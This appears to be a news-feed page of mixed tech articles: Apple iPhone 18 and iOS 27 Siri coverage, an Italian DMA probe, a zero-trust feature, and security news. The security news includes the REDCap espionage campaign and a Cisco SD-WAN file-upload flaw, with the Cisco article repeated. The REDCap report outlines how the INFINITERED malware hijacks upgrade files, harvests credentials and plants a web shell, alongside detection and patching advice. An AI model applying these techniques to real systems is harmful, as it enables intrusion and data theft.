Amid rumors that the iPhone 18 Pro is set to move to a narrower ‌Dynamic Island‌, X user @MichalLangmajer connected those dots to suggest that ‌iOS 27‌'s ‌Siri‌ interface could become circular on upcoming iPhone models:



The post included a visual overlaying the ‌Dynamic Island‌ shapes of the iPhone 17 and a speculated iPhone 18 model, illustrating how a narrower cutout would allow the ‌Siri‌ orb to resolve into the true circle Apple already uses elsewhere.

A series of reports suggest that the ‌iPhone 18 Pro‌ and Pro Max will feature a smaller ‌Dynamic Island‌, enabled by relocating Face ID components beneath the display. Leaker Ice Universe claimed the cutout will be approximately 35% narrower than on the iPhone 17 Pro, dropping from around 20.7mm to around 13.5mm in width. Prototype images and screen protector leaks that surfaced in March appeared to corroborate the change.

‌iOS 27‌, the ‌iPhone 18 Pro‌, and ‌iPhone 18 Pro‌ Max are expected to be released this fall.Related Roundups: iOS 27, iPadOS 27, iPhone 18, iPhone 18 ProTags: Dynamic Island, SiriRelated Forum: iPhone
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Content update 06-16-2026

The following is the list of F5 Distributed Cloud Services technical knowledge updates:
Data Residency and Processing
Minor update to the F5 Distributed Cloud L7 DDoS, WAF, API Protection, CDN and App Connect section to clarify Flow Anomaly logs and persistent storage locations.
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China-linked hackers target US, Canada research using legacy REDCap exploits

Google is warning of a cyber espionage campaign linked to a China-nexus threat actor, UNC6508, that kept close tabs on valuable US and Canadian research environments for over a year.
The campaign abused REDCap, a widely adopted platform for collecting and managing research data. Attackers, now disrupted, intercepted REDCap’s upgrade process to inject persistence malware.
According to Google’s Threat Intelligence Group (GTIG), the campaign was particularly interested in academic institutions, medical research centers, healthcare providers, military health networks, and defense-focused research programs.
Google said UNC6508 historically infected the legacy REDCap versions, and the observed campaign was just building on that initial compromise to push code for persistence.
“GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server,” GTIG researchers said in a blog post. “By design, REDCap allows administrators to continue running legacy software side-by-side with the current version. UNC6508 was observed probing for these vulnerable legacy versions on several target organizations’ REDCap systems.”
The state-sponsored group was after a wide range of sensitive research and defense-related information, spanning national security, AI, cyber operations, and medical research.
Research platform became the front door
Other than persistence, the campaign supported credential discovery, internal reconnaissance, and post-compromise operations.
UNC6508 used a payload tracked as INFINITERED, which is a modular malware designed to trojanize legitimate REDCap system files. The malware has three dedicated components: a dropper and upgrade Interception, a credential harvester, and a backdoor with command and control (c2).
The upgrade interception module reads the legacy REDCap versions still accessible on some current REDCap deployments, already infected with malicious logic through an unknown initial access, and extracts the malicious logic from that version. It then injects this code into the upgrade system file.
Parallelly, the other two modules inject credential harvester code into the authentication system file, and backdoor code into the custom hooks configuration file, respectively.
“Upon establishing a foothold on the REDCap server, UNC6508 performed internal reconnaissance and credential discovery to obtain database and service account credentials,” GTIG researchers said in a blog post. “The threat actor also deployed a web shell named “help.php”, which maintained persistence and functioned as an uploader in the REDCap application.”
The backdoor supports a range of remote commands that allow operators to manage files, execute shell commands, gather system information, and maintain control over compromised REDCap servers, providing UNC6508 with a rich post-compromise toolkit.
REDCap’s maintainers did not respond to CSO’s request for comments.
Hunting for and removing INFINITERED
Because INFINITERED embeds itself into REDCap’s upgrade workflow and modifies legitimate application files, organizations are encouraged to inspect REDCap environments for unauthorized file modifications, unexpected web shells, and signs of credential harvesting activity using the GTIG provided YARA rule.
Google also recommends upgrading vulnerable REDCap deployments, reviewing legacy versions that remain accessible alongside current installations, and validating the integrity of application files before and after upgrades. Enforcing phishing-resistant 2-step verification, device-bound session credentials, and relevant DLP rules were also recommended for tighter controls.
Google said it notified several organizations across the US and Canada that it believes were compromised with INFINITERED, and offered remediation assistance.
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Apple Faces First Italian DMA Probe on iCloud Interoperability

Italy's competition regulator said on Tuesday it had launched an investigation into Apple over its compliance with interoperability obligations as set out in the European Digital Markets Act (DMA).


Under the DMA, Apple must ensure that third-party providers of consumer cloud services can interoperate effectively and free of charge with Apple's iOS and iPadOS software platforms. The rules also mandate equal access to Apple's iCloud service.

The Italian Competition Authority said in a statement on its website that it had proof that other providers of consumer cloud services "may not be placed on an equal footing as Apple's iCloud," as they did not appear to have access to the same software features available to Apple's own service.

Specifically, the authority said that Apple does not allow alternative cloud storage services to use features in iOS and iPadOS that enable users to perform a full backup of their device's data.

The probe is the first of its kind opened ​by the Italian watchdog under ​the ⁠DMA, which allows national regulators to conduct preliminary investigations.

The authority said its findings will be shared with the European Commission "to support it in its role as sole DMA enforcer." Companies violating DMA rules can face fines up to 10% of worldwide annual revenue.Tags: Apple Antitrust, European Commission, European Union, Italy
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iPhone 18 to Pack 12GB of RAM for Smarter Siri Features, No Price Bump

Next year's regular iPhone 18 will come with 12GB of RAM to support Apple's most powerful on-device AI model and related Siri features, according to South Korea's KB Securities (via DigiTimes).


In its Siri AI announcement during WWDC 2026, Apple confirmed that its most powerful model enables more expressive Siri voices and major accuracy improvements for systemwide dictation. Both features require 12GB of unified memory.

Among current iPhones, that limits the more powerful model to the iPhone Air, iPhone 17 Pro, and iPhone 17 Pro Max.

The iPhone 17 misses out because it only has 8GB of RAM, but the same limitation isn't expected for the iPhone 18. Apple will boost memory for the base model to 12GB while keeping the iPhone's price unchanged, according to today's report.

It's the second time we've heard that Apple is planning to ensure memory parity across its iPhone 18 lineup. Last October, Korea's The Bell said the iPhone 18 would have 50 percent more memory than its predecessor.

Apple has apparently asked its RAM suppliers to increase its supply of LPDDR5X chips for the next iPhone lineup. KB Securities also noted that Apple will continue buying mobile DRAM from the world's three largest memory makers – Samsung, SK Hynix, and Micron – at prices above market levels, and suggested the company will absorb the costs rather than pass them on to the consumer.

The iPhone 18 Pro, ‌iPhone 18 Pro‌ Max, and foldable iPhone are expected to launch in the fall of 2026, with the ‌iPhone 18, iPhone Air 2,‌ and iPhone 18e following in the first half of 2027.Related Roundup: iPhone 18Tag: SiriRelated Forum: iPhone
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Cisco patches SD-WAN flaw amid evidence of active exploitation

Cisco has released fixes for a vulnerability in its Catalyst SD-WAN Manager software after becoming aware of limited exploitation of the flaw, which could allow an authenticated attacker to create or overwrite files that may later be used to gain root privileges.
The vulnerability, tracked as CVE-2026–20262, affects the web interface of Cisco Catalyst SD-WAN Manager, formerly known as SD-WAN vManage, which enterprises use to manage SD-WAN deployments across distributed network environments.
Cisco said the flaw stems from insufficient validation of user-supplied input during a file upload process. An authenticated remote attacker with valid credentials and at least write access could exploit the flaw by sending a crafted HTTP request to an affected API endpoint.
A successful exploit could allow the attacker to create or overwrite any file on the underlying operating system. That file could later be used to elevate privileges to root, Cisco said.
The company said the vulnerability affects all deployment types, regardless of device configuration, including on-premises deployments, Cisco SD-WAN Cloud-Pro, Cisco SD-WAN Cloud managed by Cisco, and Cisco SD-WAN for Government. Cisco said there are no workarounds and advised customers to upgrade to fixed software releases.
Cisco rated the flaw as a medium-severity risk. While the company did not provide details on the exploitation activity, it advised administrators to review SD-WAN Manager logs for attempts to upload files such as index.jsp and .war files.
Root access raises network-wide risk
The risk is not limited to a single device or endpoint. Cisco Catalyst SD-WAN Manager acts as a centralized control point for SD-WAN environments, making compromise of the management layer a broader operational concern for enterprises.
A successful root compromise could have consequences across multiple branches and business applications, analysts said.
“Root access to Cisco Catalyst SD-WAN Manager can become a network-wide control-plane compromise, and that can affect branch uptime, traffic segmentation, cloud connectivity, and the availability and integrity of critical business applications,” said Keith Prabhu, founder and CEO at Confidis. “This could lead to revenue loss, operational disruption if locations lose WAN connectivity, security exposure, incident response costs, and overall loss of reputation.”
Devashri Datta, a cybersecurity researcher who previously worked in network security governance at Cisco, said root access to the SD-WAN Manager could allow an attacker to push destructive configuration templates or wipe local policies across large numbers of branch routers.
Because enterprise segmentation is often enforced through centralized SD-WAN policies, a compromised controller could also be used to alter traffic separation rules, including policies tied to Virtual Routing and Forwarding instances, potentially enabling lateral movement across environments that were previously isolated, she said.
Attackers could also manipulate cloud traffic-steering policies or degrade application-aware routing settings for critical systems, affecting services such as ERP platforms or real-time databases, Datta added.
The impact of a compromise could go beyond a conventional security incident because changes made through the SD-WAN console may initially appear to be routine network or configuration problems, said Akshat Tyagi, associate practice leader at HFS Research.
That could make attacks harder to detect, particularly if disruptions affect branch connectivity, SaaS access or traffic routing before security teams identify them as malicious, he said.
A broader management-plane concern
Security teams should view vulnerabilities in SD-WAN orchestration systems as a broader management-plane risk rather than only a patching issue, analysts said.
“CISA and NSA have issued guidance about architecture, exposure, and management-plane hygiene, which goes beyond typical CVE-by-CVE patching,” Prabhu said. “Attackers are targeting the SD-WAN controller to gain fabric-wide control over routing, segmentation, and security policy, which can impact many sites at once. This warrants treating SD-WAN managers as Tier-0 assets: isolate and harden them, tightly control and monitor access, and assume potential controller compromise in your architecture.”
Datta said CISOs should not treat flaws in network orchestration platforms as routine patching events because the management plane is a central trust layer in software-defined infrastructure.
“When a platform repeatedly suffers from structural weaknesses such as insufficient input validation or authentication bypasses, it signals that the vendor’s internal secure software development lifecycle (SDLC) is struggling to defend its core trust boundaries,” Datta said.
Emergency WAN updates can also create operational friction for global enterprises because they require testing, change windows, and rollback planning across infrastructure that supports branch and cloud connectivity, she said.
Tyagi said CISOs should use the incident to review who can access SD-WAN management consoles, who has administrative access, and whether any unusual activity has already occurred.
Patching remains essential, but analysts said organizations should also restrict access to SD-WAN management interfaces, require phishing-resistant multifactor authentication, isolate orchestration systems from general corporate networks, and continuously stream telemetry from managers and edge routers to an independent SIEM.
Datta said enterprises should also press networking vendors for software supply chain transparency, including SBOM and VEX data, so they can assess exposure before rolling out emergency upgrades.
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CSOonline

Cisco patches SD-WAN flaw amid evidence of active exploitation

Cisco has released fixes for a vulnerability in its Catalyst SD-WAN Manager software after becoming aware of limited exploitation of the flaw, which could allow an authenticated attacker to create or overwrite files that may later be used to gain root privileges.
The vulnerability, tracked as CVE-2026–20262, affects the web interface of Cisco Catalyst SD-WAN Manager, formerly known as SD-WAN vManage, which enterprises use to manage SD-WAN deployments across distributed network environments.
Cisco said the flaw stems from insufficient validation of user-supplied input during a file upload process. An authenticated remote attacker with valid credentials and at least write access could exploit the flaw by sending a crafted HTTP request to an affected API endpoint.
A successful exploit could allow the attacker to create or overwrite any file on the underlying operating system. That file could later be used to elevate privileges to root, Cisco said.
The company said the vulnerability affects all deployment types, regardless of device configuration, including on-premises deployments, Cisco SD-WAN Cloud-Pro, Cisco SD-WAN Cloud managed by Cisco, and Cisco SD-WAN for Government. Cisco said there are no workarounds and advised customers to upgrade to fixed software releases.
Cisco rated the flaw as a medium-severity risk. While the company did not provide details on the exploitation activity, it advised administrators to review SD-WAN Manager logs for attempts to upload files such as index.jsp and .war files.
Root access raises network-wide risk
The risk is not limited to a single device or endpoint. Cisco Catalyst SD-WAN Manager acts as a centralized control point for SD-WAN environments, making compromise of the management layer a broader operational concern for enterprises.
A successful root compromise could have consequences across multiple branches and business applications, analysts said.
“Root access to Cisco Catalyst SD-WAN Manager can become a network-wide control-plane compromise, and that can affect branch uptime, traffic segmentation, cloud connectivity, and the availability and integrity of critical business applications,” said Keith Prabhu, founder and CEO at Confidis. “This could lead to revenue loss, operational disruption if locations lose WAN connectivity, security exposure, incident response costs, and overall loss of reputation.”
Devashri Datta, a cybersecurity researcher who previously worked in network security governance at Cisco, said root access to the SD-WAN Manager could allow an attacker to push destructive configuration templates or wipe local policies across large numbers of branch routers.
Because enterprise segmentation is often enforced through centralized SD-WAN policies, a compromised controller could also be used to alter traffic separation rules, including policies tied to Virtual Routing and Forwarding instances, potentially enabling lateral movement across environments that were previously isolated, she said.
Attackers could also manipulate cloud traffic-steering policies or degrade application-aware routing settings for critical systems, affecting services such as ERP platforms or real-time databases, Datta added.
The impact of a compromise could go beyond a conventional security incident because changes made through the SD-WAN console may initially appear to be routine network or configuration problems, said Akshat Tyagi, associate practice leader at HFS Research.
That could make attacks harder to detect, particularly if disruptions affect branch connectivity, SaaS access or traffic routing before security teams identify them as malicious, he said.
A broader management-plane concern
Security teams should view vulnerabilities in SD-WAN orchestration systems as a broader management-plane risk rather than only a patching issue, analysts said.
“CISA and NSA have issued guidance about architecture, exposure, and management-plane hygiene, which goes beyond typical CVE-by-CVE patching,” Prabhu said. “Attackers are targeting the SD-WAN controller to gain fabric-wide control over routing, segmentation, and security policy, which can impact many sites at once. This warrants treating SD-WAN managers as Tier-0 assets: isolate and harden them, tightly control and monitor access, and assume potential controller compromise in your architecture.”
Datta said CISOs should not treat flaws in network orchestration platforms as routine patching events because the management plane is a central trust layer in software-defined infrastructure.
“When a platform repeatedly suffers from structural weaknesses such as insufficient input validation or authentication bypasses, it signals that the vendor’s internal secure software development lifecycle (SDLC) is struggling to defend its core trust boundaries,” Datta said.
Emergency WAN updates can also create operational friction for global enterprises because they require testing, change windows, and rollback planning across infrastructure that supports branch and cloud connectivity, she said.
Tyagi said CISOs should use the incident to review who can access SD-WAN management consoles, who has administrative access, and whether any unusual activity has already occurred.
Patching remains essential, but analysts said organizations should also restrict access to SD-WAN management interfaces, require phishing-resistant multifactor authentication, isolate orchestration systems from general corporate networks, and continuously stream telemetry from managers and edge routers to an independent SIEM.
Datta said enterprises should also press networking vendors for software supply chain transparency, including SBOM and VEX data, so they can assess exposure before rolling out emergency upgrades.
View the full article
CSOonline

Foldable iPhone Delay Rumors Are 'False,' Leaker Claims

Suggestions that Apple's rumored foldable iPhone will be delayed are wide of the mark, claimed a Chinese leaker today.


In a post on Weibo, the leaker known as Fixed Focus Digital said launch delay rumors are "false" and suggestions that the device's release has been pushed to next year are "far-fetched."

Multiple reports have suggested Apple's first foldable iPhone could be unveiled alongside the iPhone 18 Pro models this September, and the leaker believes that still stands. "The most likely scenario is that it will launch alongside the iPhone 18 series," said Fixed Focus Digital in another post earlier this month. "Even if there is a delay, it would probably only be postponed by about one month before going on sale," they added.

There have been sporadic reports that Apple's first foldable device has faced engineering challenges in late-stage development. In May, for example, Instant Digital claimed Apple's foldable iPhone continued to face durability-related issues with its hinge mechanism. Apple is believed to have largely overcome concerns surrounding display creasing, but the leaker said that long-term hinge reliability has yet to meet the company's standards.

Apple is known for imposing strict reliability standards on new product categories, but ongoing concerns about the hinge itself would be an unusual situation this close to an anticipated launch.

Bloomberg's Mark Gurman said in March that the new foldable iPhone may not ship to customers in the same September time frame as the iPhone 18 Pro and ‌iPhone 18 Pro‌ Max. Prior to Gurman's report, Barclays analyst Tim Long suggested that the foldable iPhone won't ship until December, opening up a roughly three-month delay between the completely new device and the ‌iPhone 18 Pro‌ models.

Apple has done a split launch before, shipping one model later than another. When the iPhone X launched in 2017, it shipped out in November, while the iPhone 8 and 8 Plus introduced alongside it came out in September as usual. Even if Apple does plan to ship the ‌iPhone Fold‌ after September, expect to see it introduced during the annual iPhone event that will feature the ‌iPhone 18 Pro‌ models. Apple will likely announce all three phones at once, and then bring them to customers when they're ready.

The foldable iPhone is expected to feature a 7.8-inch inner display and a 5.5-inch cover display, the A20 chip and C2 modem, a Touch ID power button instead of Face ID, and two rear cameras, with pricing rumored at around $2,000. Apple's book-style foldable could launch as the "iPhone Ultra," as suggested by reports.Tags: Fixed Focus Digital, Foldable iPhone
This article, "Foldable iPhone Delay Rumors Are 'False,' Leaker Claims" first appeared on MacRumors.com

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Zero trust isn’t broken. Most companies just do it wrong.

Zero trust is 15 years old, and like many teenagers, it can feel misunderstood and underappreciated.
The concept of zero trust was first defined by John Kindervag, a Forrester analyst at the time, as a strategy to replace the outmoded perimeter security model with a “never trust, always verify” approach. But going from principle to practice isn’t easy.
Accenture reports that 88% of organizations have encountered significant challenges implementing zero trust. In a recent Gartner survey, 35% of respondents who indicated that they either attempted or partially attempted a zero-trust initiative suffered failures that adversely affected their organization. “Gartner has observed numerous instances of failed zero-trust initiatives among end users who lacked a strategic and measurable plan,” the report says.
At last year’s DefCon 33 conference, U.K. security researchers from AmberWolf poked holes in zero trust by identifying potential vulnerabilities in zero-trust network access (ZTNA) offerings from three vendors. “It turns out there are no magic ZTNA beans; we’ve got the same old bug classes reimagined for a new technology stack,” said AmberWolf researcher Richard Warren. “Rather than zero trust, we’re actually putting a lot of trust into these vendors to process our data securely.”  
Morey Haber, author and chief security advisor at BeyondTrust, sums up the state of zero trust in 2026 this way: “We all agree: zero trust is necessary. But it’s been hard to implement.” Haber describes the gap between intention and execution as “massive” during a Today in Tech episode focused on whether zero trust is failing or just misunderstood. “It doesn’t matter what you read or which framework you follow,” Haber said during the podcast. “The core issue is that we have a concept with principles and tenets, but not enough guidance on how to implement it.”
Here are some myths and misconceptions associated with zero trust, as well as tips on how to avoid the pitfalls and successfully implement zero trust.
Myth: Zero trust is a product
Even after 15 years, there is still considerable confusion about what zero trust is. It answers to many definitions—strategy, philosophy, concept, mindset, and architecture.
Chase Cunningham, who bills himself as DrZeroTrust, says,”Security is not a product, but a combination of strategy, process, and execution. Zero trust is not just an architecture—it’s a mindset. There is no zero-trust product, period.”
Haber agrees. “You have vendors claiming to sell “zero-trust” products, which is misleading. There’s no such thing as a zero-trust product. Products implement security controls, but they don’t embody zero-trust principles.”
He cautions, “If a vendor says, ‘This remote access solution achieves zero-trust principles,’ that’s great, but I have yet to see one that delivers more than 10%-15% of the required controls.”
Gartner adds, “The concept of zero trust is a security approach that organizations adopt to mitigate access risks associated with networks, applications, and associated data. This is frequently overshadowed by vendor marketing, which tends to promise high expectations but often delivers suboptimal results.”
Myth: Zero trust is a technology
George Finney, CISO at the University of Texas and author of two books on zero trust, tells Network World that zero trust is not a technology; in other words, it’s not micro-segmentation to block lateral movement by attackers; it’s not policy-based identity to control who gets access to enterprise resources. Those are tools and tactics that help implement zero trust.
Zero trust at its core is a way of thinking about risk that requires breaking down silos among security teams, networking groups, business units, compliance, and risk management functions, according to Finney.
The first pillar of zero trust, as defined by Kindervag, is identifying the highest-priority protect surfaces in the organization. Kindervag says that unless the organization has a clear understanding of what the crown jewels are, there’s no way a zero-trust project can be successful. Kindevag adds that IT doesn’t necessarily know what those high-value protect surfaces are, but business leaders do, and that’s where a zero-trust initiative should start.
The second pillar of zero trust is to map transaction flows associated with those mission-critical protect surfaces. Again, this requires coordination and collaboration with teams running key enterprise applications. This is particularly important in today’s multi-cloud environments, where a specific business process can span on-prem, edge, cloud, containers, microservices, etc.
“It’s not a technology issue at the end of the day that makes it hard,” Finney says. It’s people issues, cultural issues, and politics. He recommends that organizations think holistically about securing sensitive data across all attack surfaces, including endpoints, remote users, IoT devices, LLMs, AI agents, etc.
Gartner adds, “It is not a product or technology-focused exercise but rather a methodology driven by the organization’s overall objective and priorities.”
Myth: Zero trust is expensive  
Finney says zero trust does not have to break the bank. “A lot of folks think it’s going to be too expensive, but it doesn’t have to be,” he adds. Here are key steps on the road to zero trust that don’t involve buying anything.
Identifying high-value protect surfaces. This requires thinking like an attacker and pinpointing the assets that an attacker is most likely to consider valuable. Finney adds, “In a given protect surface, you might have multiple controls that all have to be working together to remove those trust relationships.”  
Creating a zero-trust team. Finney says most organizations already have governance, risk management, and compliance teams that can be brought into a comprehensive zero-trust task force that includes security and networking groups. Gartner adds, “A zero-trust strategy must be initiated at the executive level and integrated across all departments and teams.”
Education. Education is critical, says Finney. “It’s helping folks see the big picture. It gets people out of their silos.”Finney adds that a major challenge is political, having to deal with a fragmented organization in which many stakeholders are dismissive of security because it’s not what they’re measured on. For example, application developers who are under the gun to get software out the door aren’t necessarily incentivized to bake security into their processes.  
Creating a strategy. “When I talk to boards of directors, they understand that to be successful in any part of the business, you need to have a strategy. That resonates from the top,” says Finney.
In its analysis of why zero-trust initiatives fail, Gartner says, “The lack of a business-aligned strategic plan has led to ineffective governance, miscommunication, poor risk management, minimal budget allocation, poor execution of the organizational security objectives, and inefficient use of limited resources.”
Defining an architecture: Every organization is different, so there is no boilerplate architecture that can be applied everywhere. Organizations need to write a specific architecture that fits their business needs, their level of risk tolerance, their specific vertical industry, and their unique technology infrastructure.
Setting and applying policies. Again, there is no line item associated with writing access control and identity management policies.  
Leveraging existing tools. It’s important to realize that nobody is starting from zero.
Most organizations already have multi-factor authentication or single sign-on in place, they already have identity management, network management, web application firewalls, etc. The key is to integrate and align existing technology and identify gaps where new tools might be needed.
Speaking to AmberWolf’s point that attackers can always find bugs in vendor software, zero-trust advocates counter that zero trust implies defense in depth. So, even if there’s a flaw that allows an attacker to gain end-user credentials and access the network, there will be multiple security controls in place, such as incident detection, micro-segmentation, monitoring of end-user sessions, and controls that prevent access to and exfiltration of sensitive data.
Myth: Zero trust is difficult to implement
Zero trust doesn’t have to be hard to implement if organizations follow widely disseminated guidance provided by NIST, numerous books, webinars, podcasts, experts, consultants, and more.
Finney recommends starting small and showing quick wins. Zero trust can’t be implemented all at once across a large organization; it requires a targeted, methodical strategy.
The preferred approach is to start with those high-value protect surfaces and apply tools that support the overall architecture in a coordinated, consistent, managed, and monitored fashion.  
“An overall strategy can deploy different tactics,” Finney says. “You want to think about what will have the biggest impact on your organization today.” He says organizations need to make informed data-driven decisions based on logs, metrics, and other data, while factoring in an analysis of what attackers are doing vs. the specific vulnerabilities and weak points in the organization’s defenses.
Gartner states: “Narrowing the scope of initiatives or projects within the zero-trust program is essential for attaining a zero-trust posture within practical and reasonable timeframes. Organizations define overly expansive future target states by incorporating an excessive number of systems, applications, use cases, or datasets in the initial phase—or by proposing overly intricate and granular policy sets. They will encounter scalability and cost challenges, along with extended project timelines.”
Myth: AI breaks ZTNA
Enterprises are racing to deploy generative AI and unleash semi-autonomous AI agents. This new world of black box large language models (LLM) and non-human identities (NHI) raises concerns that zero trust is an outdated strategy that’s not up to the challenge.
Leading zero-trust proponents are pushing back, however, arguing that the core principles still apply. “With AI, zero trust is more important than ever,” says Finney. “Zero trust is a strategy; we don’t change the strategy because AI came out. AI proves how important that strategy is.”
“AI is not magic,” he adds. “We secure it the same way we secure everything else. We integrate it into the tech stack and monitor it.”
Kindervag, currently chief evangelist at Illumio, concurs. “AI doesn’t change the fundamentals of zero trust. It reinforces them. Zero trust is the strategy that allows you to safely embrace AI. Without strict segmentation, policy enforcement, and control over data flows, AI becomes another soft and chewy center waiting to be exploited.” He adds, “You don’t need a new security strategy for AI. You just need to apply the right one. That’s zero trust.”
Myth: There’s no way to measure success
Any project that seeks support from the board and C-suite, needs to be able to justify itself through some sort of metrics. Zero trust is no exception, but how do you measure “not getting hacked?”
Gartner says teams should use outcome-driven metrics that link zero-trust initiatives directly to business objectives.“It’s crucial to focus on schedule adherence, cost discipline, and control effectiveness,” says Gartner. “Focus on outcomes like reduced breach incidents, improved compliance rates, and enhanced operational efficiency. Additionally, identify specific risks, such as lateral movement, data breaches, account takeovers, and insider threats, which are essential to drive value, and organizations can better justify investments and drive continuous improvement.”
Myth: Zero-trust projects have a completion date
Zero trust is more about the journey than the destination,” Finney says. He points out that organizations are constantly growing and changing. At the same time, attackers are evolving. “Zero trust is a strategy. You’re never done with a strategy,” he adds.
Kindervag’s final pillar of zero trust is to monitor and maintain. In other words, organizations need to be actively monitoring to make sure that access control policies are not being violated. And the zero-trust implementation needs to keep pace with changing business needs.
And since zero trust calls for organizations to focus on the highest value protect surfaces first, there are always additional protect surfaces that can be added under the zero-trust umbrella.
When Finney looks back on how things have evolved over the past 15 years, he is encouraged by the fact that tools have improved dramatically. Teams can now apply AI and machine learning to functions like anomaly detection or incident detection and response. And there are now ways to automate tasks like networking monitoring or policy enforcement.
“Overall, I’m feeling guardedly optimistic,” Finney says, “but the work is not done. We need to continue to make strides.”
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Fake Microsoft Alerts Used to Deploy North Korean NarwhalRAT Malware

The North Korean state-sponsored hacking group known as ScarCruft (aka APT37) has been observed using spear-phishing messages impersonating Microsoft Account security notifications to deliver malware called NarwhalRAT. "The attack email contained a message impersonating an MS account security alert," the Genians Security Center (GSC) said. "It was designed to create concern over possibleView the full article
Hacker News

Siri AI in iOS 27: Features, Requirements, and How It Works

The biggest change in iOS 27 is Apple's total overhaul of Siri, with ‌Siri‌ turning into ‌Siri‌ AI. Apple delivered on the features originally promised at WWDC 2024 and added new capabilities that turn ‌Siri‌ into a viable competitor to chatbots like Claude and ChatGPT.


‌Siri‌ AI is available in the ‌iOS 27‌ beta, but everyone will get access this fall. Below, we walk through everything new you can expect from ‌Siri‌.

Siri AI

‌Siri‌ AI is more knowledgeable, more capable, and unlike other chatbots, able to tap into your personal data in apps like Mail, Messages, and Photos. Apple says ‌Siri‌ has understanding and reasoning that wasn't available before, with four main improvements that change how ‌Siri‌ works.


All of the different ‌Siri‌ functions come together to allow ‌Siri‌ to do far more than it could before. You can have full back-and-forth conversations with ‌Siri‌, and include multiple tasks in a single request.

Personal Context Understanding

Apple overhauled its search index, and ‌Siri‌ has access to emails, text messages, files, photos, notes, and more. ‌Siri‌ can find content from across your apps, but it also understands that content. You can ask ‌Siri‌ to surface photos, bring up information from emails or texts, or find files, and the Apple Intelligence semantic index behind the scenes finds what you need.

What was that movie my brother told me to watch last week?
Can you get me the directions to that place I was supposed to meet Eric tomorrow?
What video games did John recommend to me last year?
Find images with pancakes from 2024
What was the name of that restaurant I ate at in February?
What's the confirmation number for my upcoming flight?
What do I need to do tomorrow?
Show me my photos from the music festival last weekend
What's the door code Sarah texted me?
Find the lease my landlord emailed me last month
Who did I have lunch with two Tuesdays ago?

Broad World Knowledge

Apple can search the web for up-to-date information to answer questions about anything, similar to other chatbots. ‌Siri‌ can analyze documents and get information from the web for additional context, help come up with recipes, do party prep, help with homework, give gardening tips, assist with DIY projects, and much more.

When is the Suki Waterhouse show in SF?
How can I get tickets?
I'm planning a birthday party, can you find me some good cake recipes?
What's the difference between pine warblers and goldfinches?
What's the Hurricanes score?
What are the hours for the closest Ace Hardware?
What's a good substitute for buttermilk?
What's a 15% tip on $84?
Help me plan a 5-day trip to Lisbon

Onscreen Awareness

‌Siri‌ knows what's on your screen and can answer questions about it. ‌Siri‌ can tell what you're looking at, read text, and analyze images.

‌Siri‌ can tell you where a photo was taken if there's something recognizable in it, and you can ask questions about any app you're in without having to provide specifics.

Where was this photo taken?
Summarize this
Can you give me directions here?
What are the best native plant options for a shady spot near my house?
Does this document look correct?
What is this?
Translate this menu
Explain what this chart is showing

App Actions

App Actions allow ‌Siri‌ to use tools in apps to complete requests. ‌Siri‌ can use some apps on your behalf, including apps from Apple and third-party apps that have implemented App Actions support.

Write a quick response to this email
Send all the photos from today to Eric
Add a 3pm Tuesday meeting with the neighbor to my calendar
Add these photos to the cat album
Get me directions to the post office, but add a stop at the coffee shop first
Move my 2pm meeting to Thursday

Siri Design

On the iPhone, a new Search and Ask ‌Siri‌ interface replaces the former Spotlight search option, and it's available from the Dynamic Island. A swipe down from the middle of the iPhone's display brings up Search or Ask, where you can type or speak a question or request to ‌Siri‌.


An animation is displayed as ‌Siri‌ is thinking, and then the ‌Siri‌ bubble expands into a short response. If you swipe down on a response, it brings up a text bar where you can provide clarification or ask another question. A "+" button lets you add images or documents to the conversation.

Some responses use rich information cards pulled from apps. If you ask ‌Siri‌ about the weather, you'll see the current weather forecast. If you ask about upcoming calendar events, you'll see them listed in the Calendar app format.

You can also access ‌Siri‌ by pressing the side button or by using the "‌Siri‌" and "Hey ‌Siri‌" wake phrases.

Systemwide Context

‌Siri‌ works in any app. You can select text or images, then ask ‌Siri‌ about the selection. If you see an image in Safari you want to know more about, you can long press it to select and then ask ‌Siri‌ whatever you want about it.

Siri App

There is a dedicated ‌Siri‌ app where you can start new conversations or revisit past conversations you've had with ‌Siri‌.


The app has a card-style interface with details on your most recent conversations across all of your devices. You can also use the search button to find conversations, and there's a pin option for conversations that you revisit frequently.

Write with Siri

In ‌iOS 27‌, you can write with ‌Siri‌ anywhere you type with a systemwide Write with ‌Siri‌ feature. ‌Siri‌ can draft documents from scratch, and in Mail and Messages, it can use the same writing style that you normally use.

‌Siri‌ can give you feedback on your writing if you select your text and ask ‌Siri‌ how it sounds, and as you type in apps, there's automatic proofreading for misspellings and grammar. ‌Siri‌ can also edit, and you just need to describe the change that you want to make to something you've written, such as changing the tone to be more professional.

Make this email sound more formal
Turn these bullet points into a paragraph
Shorten this to three sentences
Draft a thank you note for a gift
Rewrite this to be friendlier
What do you think of this presentation?
How can I improve this email?

Apple's AI Models

The Apple Foundation models used for ‌Siri‌ and other ‌Apple Intelligence‌ features in ‌iOS 27‌ are the result of Apple's collaboration with Google. Apple used the technologies behind the Gemini AI models to develop the next generation of Apple Foundation models.


Apple's AI models are integrated into iOS and coordinated with a system orchestrator that can use the Spotlight index and the app toolbox.

The Spotlight index surfaces data from any app that integrates with it, such as Mail, Calendar, and Messages. The app toolbox identifies which app tools might be useful to answer a request.

Siri Voice

Apple has a more powerful on-device model for the iPhone 17 Pro and iPhone Air, allowing for a customizable ‌Siri‌ voice. Apple says its on-device model can understand and generate speech, plus understand text and images. You can tweak expressivity and pace when customizing ‌Siri‌'s voice.


The on-device model also improves accuracy for system-wide dictation thanks to better natural language understanding. Dictation is better at capturing what you're saying, and it makes fewer mistakes with spelling, punctuation, and capitalization.

Privacy

Apple's ‌Siri‌ features run on-device and on cloud servers using Private Cloud Compute. Data is not accessible to Apple or third parties.

Private Cloud Compute servers have historically all been Apple servers in Apple data centers, but Apple is expanding Private Cloud Compute to run ‌Apple Intelligence‌ workloads on Google Cloud using NVIDIA hardware.

Cross-Platform Availability

‌Siri‌ AI is available in ‌iOS 27‌, iPadOS 27, macOS Golden Gate, visionOS 27, and watchOS 27, so you can start a ‌Siri‌ request on one device and revisit it on another device.


‌Siri‌ conversations sync across devices, and the ‌Siri‌ app is available on most of Apple's software platforms.

‌Siri‌ AI features are also available when using CarPlay and AirPods.

Device Requirements

‌Siri‌ AI requires a device that supports ‌Apple Intelligence‌, including the iPhone 15 Pro and later.

‌Siri‌ AI will not be available in the European Union at launch on iPhone or iPad, but it will be available on the Mac. It will not be available in China.

Language Support

